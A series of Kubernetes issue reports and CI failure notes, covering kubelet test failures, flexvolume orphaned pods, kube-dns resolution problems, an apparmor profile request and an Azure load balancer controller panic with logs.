https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2318/ failed:  k8s.io  kubelet cgroup manager pod containers on scheduling a burstable pod pod containers should have been created under the burstable cgroup {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:297 expected error:     < errors.errorstring | 0xc42107e5d0>: {         s: \ pod \\\ podb1260abe-ff6f-11e6-9a8b-42010a80000d\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-02 17:43:06 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-02 17:43:06 +0000 utc reason:containersnotready message:containers with unready status:  containerb1260ae1-ff6f-11e6-9a8b-42010a80000d }  message: reason: hostip:10.128.0.13 podip:10.180.0.106 starttime:2017-03-02 17:43:06 +0000 utc initcontainerstatuses:   containerstatuses: {name:containerb1260ae1-ff6f-11e6-9a8b-42010a80000d state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-02 17:43:06 +0000 utc,containerid:docker://45386a4d17706820f923f6d59195b206144be11265298b7696b1dd80bdd35c63,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://45386a4d17706820f923f6d59195b206144be11265298b7696b1dd80bdd35c63}  qosclass:besteffort}\ ,     }     pod \ podb1260abe-ff6f-11e6-9a8b-42010a80000d\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-02 17:43:06 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-02 17:43:06 +0000 utc reason:containersnotready message:containers with unready status:  containerb1260ae1-ff6f-11e6-9a8b-42010a80000d }  message: reason: hostip:10.128.0.13 podip:10.180.0.106 starttime:2017-03-02 17:43:06 +0000 utc initcontainerstatuses:   containerstatuses: {name:containerb1260ae1-ff6f-11e6-9a8b-42010a80000d state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-02 17:43:06 +0000 utc,containerid:docker://45386a4d17706820f923f6d59195b206144be11265298b7696b1dd80bdd35c63,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker-pullable://gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff containerid:docker://45386a4d17706820f923f6d59195b206144be11265298b7696b1dd80bdd35c63}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/pods_container_manager_test.go:287

testopenapi failed frequently in recently ci runs, e.g.  here  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41766/pull-kubernetes-unit/28845/ k8siokubernetespkgkubectlcmdutilopenapi-testopenapi \r \r    \r k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi testopenapi 0.00s\r go test -v k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi -run testopenapi$\r    \r \r cc/ @pwittrock @kubernetes/sig-cli-bugs

 \r during the course of https://github.com/kubernetes/kubernetes/pull/48065, @ash2k  noted  https://github.com/kubernetes/kubernetes/pull/48065 issuecomment-311524304  that unstructured is storing internal fields backing object methods inconsistently with regards to nil. for example, setownerreferences omits nil keys from the internal map, while setinitializers, setlabels, setannotations, and setdeletiontimestamp retain keys for nil values.\r \r to remain consistent with marshalling behavior, we propose that unstructured should omit keys for nil values internally for all fields which back object methods.\r \r /cc @ash2k @deads2k @caesarxuchao

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am testing custom flex volume driver and face an issue:\r if my flexvolume plugin failed to exec 'mount' operation, then after pod deletion it becomes orphaned.\r \r   what you expected to happen  :\r no orphaned pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r  root@master ~   cat /usr/libexec/kubernetes/kubelet-plugins/volume/exec/vendor~testvol/testvol\r  !/bin/sh\r \r op=$1\r \r shift\r \r case \ $op\  in\r   init \r     echo \ { \\\ status\\\ : \\\ success\\\  }\ \r     exit 0;\r     ;;\r   mount \r     echo \ { \\\ status\\\ : \\\ failure\\\ , \\\ message\\\ : \\\ my test fail\\\  }\ \r     exit 1;\r     ;;\r   unmount \r     echo \ { \\\ status\\\ : \\\ success\\\ , \\\ message\\\ : \\\ success\\\  }\ \r     exit 0;\r     ;;\r     \r     echo \ { \\\ status\\\ : \\\ not supported\\\  }\ \r     exit 0\r esac\r  root@master ~  \r    \r \r    \r  root@master ~   cat pod.yaml\r kind: pod\r apiversion: v1\r metadata:\r   name: test-pod\r spec:\r   containers:\r   - name: test-pod\r     image: gcr.io/google_containers/busybox:1.24\r     command:\r       - \ /bin/sh\ \r     args:\r       - \ -c\ \r       - \ while :; do sleep 10; done;\ \r     volumemounts:\r       - name: testflexvol\r         mountpath: \ /mnt\ \r   restartpolicy: \ never\ \r   volumes:\r     - name: testflexvol\r       flexvolume:\r         driver: \ vendor/testvol\ \r  root@master ~  \r \r  root@master ~   kubectl create -f pod.yaml\r pod \ test-pod\  created\r  root@master ~  \r    \r \r this is resulted in kubelet logs:\r \r    \r jul 21 16:48:49 master.localdomain kubelet 230042 : w0721 16:48:49.036246  230042 driver-call.go:147  flexvolume: driver call failed: executable: /usr/libexec/kubernetes/kubelet-plugins/volume/exec/vendor~testvol/testvol, args:  mount /var/lib/kubelet/pods/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946/volumes/vendor~testvol/testflexvol {\ kubernetes.io/fstype\ :\ \ ,\ kubernetes.io/pod.name\ :\ test-pod\ ,\ kubernetes.io/pod.namespace\ :\ default\ ,\ kubernetes.io/pod.uid\ :\ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\ ,\ kubernetes.io/pvorvolumename\ :\ testflexvol\ ,\ kubernetes.io/readwrite\ :\ rw\ ,\ kubernetes.io/serviceaccount.name\ :\ default\ } , error: exit status 1, output: { \ status\ : \ failure\ , \ message\ : \ my test fail\  }\r    \r \r    \r  and pod is in creating status:\r  root@master ~   kubectl get pods\r name       ready     status              restarts   age\r test-pod   0/1       containercreating   0          5m\r  root@master ~  \r \r  then delete pod:\r  root@master ~   kubectl delete -f pod.yaml\r pod \ test-pod\  deleted\r  root@master ~  \r    \r \r and corresponding kubelet logs:\r \r    \r jul 21 16:54:05 master.localdomain kubelet 230042 : i0721 16:54:05.945191  230042 reconciler.go:186  operationexecutor.unmountvolume started for volume \ default-token-0sttg\   uniquename: \ kubernetes.io/secret/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946-default-token-0sttg\   pod \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\   uid: \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\  \r jul 21 16:54:05 master.localdomain kubelet 230042 : i0721 16:54:05.949480  230042 operation_generator.go:523  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946-default-token-0sttg\   outervolumespecname: \ default-token-0sttg\   pod \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\   uid: \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\  . innervolumespecname \ default-token-0sttg\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r jul 21 16:54:06 master.localdomain kubelet 230042 : i0721 16:54:06.045604  230042 reconciler.go:290  volume detached for volume \ default-token-0sttg\   uniquename: \ kubernetes.io/secret/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946-default-token-0sttg\   on node \ master.localdomain\  devicepath \ \ \r jul 21 16:54:11 master.localdomain kubelet 230042 : e0721 16:54:11.559139  230042 kubelet_volumes.go:128  orphaned pod \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\  found, but volume paths are still present on disk. : there were a total of 1 errors similar to this.  turn up verbosity to see them.\r jul 21 16:54:13 master.localdomain kubelet 230042 : e0721 16:54:13.555410  230042 kubelet_volumes.go:128  orphaned pod \ 4dfbe8cc-6e1b-11e7-ab9c-001c425a9946\  found, but volume paths are still present on disk. : there were a total of 1 errors similar to this.  turn up verbosity to see them.\r    \r \r   anything else we need to know?  :\r \r after manual deletion:\r \r    \r  root@master ~   ls -l /var/lib/kubelet/pods/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946/volumes/vendor~testvol/testflexvol/\r total 0\r  root@master ~   rm -rf /var/lib/kubelet/pods/4dfbe8cc-6e1b-11e7-ab9c-001c425a9946/volumes/vendor~testvol/testflexvol/\r  root@master ~  \r    \r \r orphaned pod has been successfully cleaned up..\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  root@master ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ %{commit}\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t22:11:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@master ~ \r \r - cloud provider or hardware configuration  :\r bare metal installation\r - install tools:\r kubeadm\r \r

is this a bug report or feature request?  :\r   maybe? \r   maybe more than that \r \r   what happened  :\r kube-dns  v1.14.4  is not resolving any cluster services, but pods work fine  even with nginx-ingress .\r \r   what you expected to happen  :\r standard resolving of kube-dns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r fresh k8s cluster setup and only launch weave-net pods  weave-kube v2.0.1  and kube-dns pod + one random pod to verify dns resolving  e.g. busybox .  \r nslookup on the weave-pods work, busybox and even kube-dns itself cannot resolve the \ kubernetes.default.svc.cluster.local\  service.\r \r   anything else we need to know?  :\r setup is a manual bootstrapped k8s cluster with ansible  full tls , kubelets are loadbalanced to the api servers through haproxy  to achieve high availability . it's not a \ self-hosted\  setup  means api/scheduler/proxy/controller run as systemd service, not as pods . etcd is clustered on the same hosts and we have an underlaying ceph cluster as persistent storage. everything is working but i am concerned to get this thing productive and notice lateron a fatal error which brings down the cluster.  \r e.g. the kubernetes-dashboard works fine with exposed nodeport and full cluster permissions  rbac \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2\r - cloud provider or hardware configuration  : bare-metal\r - os  e.g. from /etc/os-release : ubuntu 16.04.02 lts\r - kernel  e.g.  uname -a  : 4.4.0-83-generic\r - install tools: ansible  selfmade \r - others:  \r \r   additional info  :  \r \r kubernetes internals:\r - kubernetes  service, 10.96.0.1  runs in default namespace with correct endpoints to the api servers\r - kube-dns  service, 10.96.0.10  runs in kube-system namespace with correct endpoints to the kube-dns pod\r - weave-net  pod, ip from respective host  runs in kube-system namespace as daemonset and these are the   only   pods that can resolve the \ kubernetes.default.svc.cluster.local\  correctly with 10.96.0.10 as nameserver\r \r resolv configs:\r - pod resolv.conf\r <pre><code>nameserver 10.96.0.10\r nameserver company-dns-ip\r search default.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5</code></pre>\r \r network ranges  yeah i'm that desparate :\r - service-cluster-ip-range=10.96.0.0/12  api server flag \r - service-node-port-range=30000-60000  api server flag \r - cluster-cidr=10.96.0.0/16  kube-controller-manager flag \r - service-cluster-ip-range=10.96.0.0/12  kube-controller-manager flag \r - ipalloc_range = 10.96.0.0/16  weave ip range \r \r other network stuff:\r - proxy-mode = iptables  kube-proxy flag \r - iptables = false  docker flag \r - network-plugin = cni  kubelet flag \r - cluster-dns = 10.96.0.10,<company dns>  kubelet flag, the second dns entry allows internet connection \r - hostnetwork = true  weave pod flag \r - apiserver-count = <correct amount>  i struggled with this, due to some other errors with the etcd entry of the kubernetes service \r \r i think that kube-dns is not connecting to anything within the cluster, but i cannot figure out how to get this solved  it has been 7 days now .\r \r   kube-dns partial  important  logs  :\r - container = kubedns  please note that this stucks in this state and does not add new services \r <pre><code> i0803 08:53:30.658679       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i0803 08:53:30.658871       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i0803 08:53:30.658880       1 dns.go:147  starting endpointscontroller\r i0803 08:53:30.658883       1 dns.go:150  starting servicecontroller\r i0803 08:53:30.659106       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0803 08:53:30.659116       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0803 08:53:31.159077       1 dns.go:171  initialized services and endpoints from apiserver\r i0803 08:53:31.159105       1 server.go:129  setting up healthz handler  /readiness \r i0803 08:53:31.159115       1 server.go:134  setting up cache handler  /cache \r i0803 08:53:31.159121       1 server.go:120  status http port 8081</code></pre>\r - container = dnsmasq\r <pre><code> i0803 08:53:41.527664       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0803 08:53:41.527674       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0803 08:53:41.527677       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0803 08:53:41.527692       1 nanny.go:108  dnsmasq 12 : reading /etc/resolv.conf\r i0803 08:53:41.527698       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0803 08:53:41.527702       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0803 08:53:41.527706       1 nanny.go:108  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0803 08:53:41.527710       1 nanny.go:108  dnsmasq 12 : using nameserver 10.96.0.10 53\r i0803 08:53:41.527714       1 nanny.go:108  dnsmasq 12 : using nameserver 172.27.0.41 53\r i0803 08:53:41.527718       1 nanny.go:108  dnsmasq 12 : read /etc/hosts - 7 addresses</code></pre>\r - container = sidecar\r <pre><code> error: logging before flag.parse: i0803 08:53:48.095629       1 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0803 08:53:48.095690       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0803 08:53:48.095741       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0803 08:53:48.095817       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}</code></pre>\r \r edit:  \r the kube-dns pod does not start with the \ --kube-master-url\  flag set  results in liveness/readiness-probe errors

what happened  :\r \r there is no way to disable apparmor, short of requesting  privileged .\r \r   what you expected to happen  :\r \r specifying a profile of  unconfined  should be allowed, and disable apparmor on the container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a pod with the annotation:\r \r    \r container.apparmor.security.beta.kubernetes.io/$container_name: unconfined\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r \r  kubectl describe priorityclass   show the wrong format for value and globaldefault\r \r    \r name:           high-priority\r value:          %!s int32=1000000 \r globaldefault:  %!s bool=false \r description:    this  should be used for xyz service pods only.\r annotations:    <none>\r events:         <none>\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  f71707e07f87eccb3a58  https://go.k8s.io/triage f71707e07f87eccb3a58        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=gke-up-c1-4-glat-up-clu-n --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=e2e-15556 --cluster-version=1.10.0-alpha.1.1174+1789a8513c745f e2e-15556: exit status 1           failure cluster statistics: 1 tests failed,    7 jobs failed,    107 builds failed. failure stats cover 1 day time range '25 jan 2018 03:03 utc' to '26 jan 2018 03:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 7 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-serial | 27 |  26 jan 2018 02:34 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4976  | | ci-kubernetes-e2e-gci-gke | 18 |  26 jan 2018 02:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/21620  | | ci-kubernetes-e2e-gci-gke-slow | 17 |  26 jan 2018 02:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/14781  |   current status  https://go.k8s.io/triage f71707e07f87eccb3a58

is this a bug report or feature request?  : bug report\r \r  \r \r \r   what happened  :\r - created a service of type  loadbalancer  on azure.\r - the service is created successful and a loadbalancer with public ip is created on azure.\r - kube-controller-manager goes into a crashloop\r \r    \r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.553408    6143 azure_backoff.go:230  publicipaddressesclient.list pixel104  - backoff: success\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.611308    6143 azure_loadbalancer.go:444  reconcileloadbalancer default/nginx  - wantlb true : started\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.641296    6143 azure_backoff.go:181  loadbalancerclient.list pixel104  - backoff: success\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.667537    6143 azure_loadbalancer.go:450  reconcileloadbalancer default/nginx : lb pixel104  wantlb true  resolved load balancer name\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.784228    6143 azure_backoff.go:62  backoff: success\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.856423    6143 azure_backoff.go:62  backoff: success\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.869422    6143 azure_backoff.go:62  backoff: success\r jun 04 20:08:00 controller1 kube-controller-manager 6143 : i0604 20:08:00.882323    6143 azure_backoff.go:62  backoff: success\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : i0604 20:08:01.073606    6143 azure_loadbalancer.go:803  ensure default/nginx : lb pixel104  finished\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : e0604 20:08:01.206862    6143 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /usr/local/go/src/runtime/asm_amd64.s:509\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /usr/local/go/src/runtime/panic.go:491\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /usr/local/go/src/runtime/panic.go:63\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /usr/local/go/src/runtime/signal_unix.go:367\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:888\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:127\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:305\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:252\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:732\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:202\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:191\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : /usr/local/go/src/runtime/asm_amd64.s:2337\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : panic: runtime error: invalid memory address or nil pointer dereference  recovered \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         panic: runtime error: invalid memory address or nil pointer dereference\r jun 04 20:08:01 controller1 kube-controller-manager 6143 :  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x21dfb3d \r jun 04 20:08:01 controller1 kube-controller-manager 6143 : goroutine 1294  running :\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : panic 0x30c5960, 0x5646750 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /usr/local/go/src/runtime/panic.go:491 +0x283\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .reconcilesecuritygroup 0xc420479000, 0x7ffe3c3b2d3b, 0x8, 0xc4225465a0, 0xc422d99640, 0x1, 0x4, 0x1, 0xc422bdc500 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:888 +0x66d\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .ensureloadbalancer 0xc420479000, 0x547a140, 0xc420010030, 0x7ffe3c3b2d3b, 0x8, 0xc4225465a0, 0xc4208aaa00, 0x4, 0x4, 0x5665580, ... \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:127 +0x48b\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .ensureloadbalancer 0xc420962620, 0xc4225465a0, 0xc4225465a0, 0x37bd966, 0x6 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374 +0xe8\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .createloadbalancerifneeded 0xc420962620, 0xc4209074a0, 0xd, 0xc4225465a0, 0xc422681b28, 0xc4226c9cc0 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:305 +0x20e\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .processserviceupdate 0xc420962620, 0xc422759448, 0xc4225465a0, 0xc4209074a0, 0xd, 0x0, 0x0 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:252 +0xe9\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .syncservice 0xc420962620, 0xc4209074a0, 0xd, 0x0, 0x0 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:732 +0x30d\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .processnextworkitem 0xc420962620, 0x634000 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213 +0xe1\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller .worker 0xc420962620 \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:202 +0x2b\r jun 04 20:08:01 controller1 kube-controller-manager 6143 : k8s.io/kubernetes/pkg/controller/service.  servicecontroller . k8s.io/kubernetes/pkg/controller/service.worker -fm  \r jun 04 20:08:01 controller1 kube-controller-manager 6143 :         /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:191 +0x2a\r jun 04 20:08:01 